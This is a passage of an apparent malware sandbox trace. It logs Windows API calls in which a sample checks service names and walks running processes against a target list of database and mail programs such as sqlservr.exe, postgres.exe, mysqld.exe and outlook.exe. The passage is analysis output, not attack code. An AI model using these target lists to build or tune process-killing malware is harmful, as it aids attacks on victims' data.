lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0042.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0042.520] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0042.520] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0042.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0042.520] lstrlenW (lpString="SamSs") returned 5 [0042.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0042.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0042.520] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0042.520] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0042.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0042.520] lstrlenW (lpString="Schedule") returned 8 [0042.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0042.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0042.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0042.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0042.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0042.520] lstrlenW (lpString="SENS") returned 4 [0042.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0042.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0042.520] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0042.520] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0042.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0042.520] lstrlenW (lpString="ShellHWDetection") returned 16 [0042.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.520] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0042.520] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0042.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0042.520] lstrlenW (lpString="Spooler") returned 7 [0042.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0042.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0042.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0042.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0042.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0042.520] lstrlenW (lpString="SysMain") returned 7 [0042.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0042.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0042.520] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0042.521] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0042.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0042.521] lstrlenW (lpString="Themes") returned 6 [0042.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0042.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0042.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0042.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0042.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0042.521] lstrlenW (lpString="TrkWks") returned 6 [0042.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0042.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0042.521] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0042.521] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0042.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0042.521] lstrlenW (lpString="UxSms") returned 5 [0042.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0042.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0042.521] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0042.521] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0042.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0042.521] lstrlenW (lpString="VSS") returned 3 [0042.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0042.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0042.521] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0042.521] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0042.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0042.521] lstrlenW (lpString="WdiServiceHost") returned 14 [0042.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.521] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0042.521] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0042.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0042.521] lstrlenW (lpString="WdiSystemHost") returned 13 [0042.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.521] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0042.521] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0042.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0042.521] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0042.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.521] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0042.521] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0042.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0042.521] lstrlenW (lpString="Winmgmt") returned 7 [0042.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0042.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0042.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0042.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0042.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0042.521] lstrlenW (lpString="WPDBusEnum") returned 10 [0042.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.522] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0042.522] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0042.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0042.522] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0042.522] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0042.524] Process32FirstW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.525] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0042.525] lstrlenW (lpString="System") returned 6 [0042.525] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0042.525] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0042.525] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0042.525] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0042.525] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0042.525] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0042.525] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0042.525] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0042.527] lstrlenW (lpString="smss.exe") returned 8 [0042.527] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0042.527] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0042.527] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0042.527] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0042.527] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0042.527] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0042.527] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0042.527] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.527] lstrlenW (lpString="csrss.exe") returned 9 [0042.527] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0042.527] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0042.527] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0042.527] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0042.527] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0042.527] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0042.527] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0042.527] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0042.528] lstrlenW (lpString="wininit.exe") returned 11 [0042.528] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0042.528] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0042.528] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0042.528] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0042.528] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0042.528] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0042.528] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0042.528] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.528] lstrlenW (lpString="csrss.exe") returned 9 [0042.528] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0042.528] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0042.529] lstrlenW (lpString="winlogon.exe") returned 12 [0042.529] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0042.529] lstrlenW (lpString="services.exe") returned 12 [0042.529] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0042.529] lstrlenW (lpString="lsass.exe") returned 9 [0042.529] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0042.530] lstrlenW (lpString="lsm.exe") returned 7 [0042.530] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.530] lstrlenW (lpString="svchost.exe") returned 11 [0042.530] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.530] lstrlenW (lpString="svchost.exe") returned 11 [0042.530] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.531] lstrlenW (lpString="svchost.exe") returned 11 [0042.531] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.531] lstrlenW (lpString="svchost.exe") returned 11 [0042.531] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.532] lstrlenW (lpString="svchost.exe") returned 11 [0042.532] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0042.532] lstrlenW (lpString="audiodg.exe") returned 11 [0042.532] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.532] lstrlenW (lpString="svchost.exe") returned 11 [0042.533] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.533] lstrlenW (lpString="svchost.exe") returned 11 [0042.533] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0042.533] lstrlenW (lpString="dwm.exe") returned 7 [0042.533] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0042.534] lstrlenW (lpString="explorer.exe") returned 12 [0042.534] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0042.534] lstrlenW (lpString="spoolsv.exe") returned 11 [0042.534] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.534] lstrlenW (lpString="taskhost.exe") returned 12 [0042.534] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.535] lstrlenW (lpString="svchost.exe") returned 11 [0042.535] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0042.535] lstrlenW (lpString="taskeng.exe") returned 11 [0042.535] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0042.535] lstrlenW (lpString="judges-present.exe") returned 18 [0042.536] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0042.536] lstrlenW (lpString="physics.exe") returned 11 [0042.536] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0042.536] lstrlenW (lpString="belongs.exe") returned 11 [0042.536] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0042.537] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0042.537] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0042.537] lstrlenW (lpString="gadgets.exe") returned 11 [0042.537] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0042.537] lstrlenW (lpString="geneva.exe") returned 10 [0042.537] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0042.538] lstrlenW (lpString="elephant.exe") returned 12 [0042.538] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0042.538] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0042.538] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0042.538] lstrlenW (lpString="roger-venice.exe") returned 16 [0042.538] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0042.539] lstrlenW (lpString="cite.exe") returned 8 [0042.539] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0042.539] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0042.539] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0042.540] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0042.540] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0042.540] lstrlenW (lpString="artist_selecting.exe") returned 20 [0042.540] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0042.540] lstrlenW (lpString="poems.exe") returned 9 [0042.540] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0042.541] lstrlenW (lpString="bow.exe") returned 7 [0042.541] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0042.541] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0042.541] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0042.541] lstrlenW (lpString="businesses.exe") returned 14 [0042.541] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0042.542] lstrlenW (lpString="lucky.exe") returned 9 [0042.542] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0042.542] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0042.542] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0042.543] lstrlenW (lpString="healthmanner.exe") returned 16 [0042.543] Process32NextW (in: hSnapshot=0x204, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, 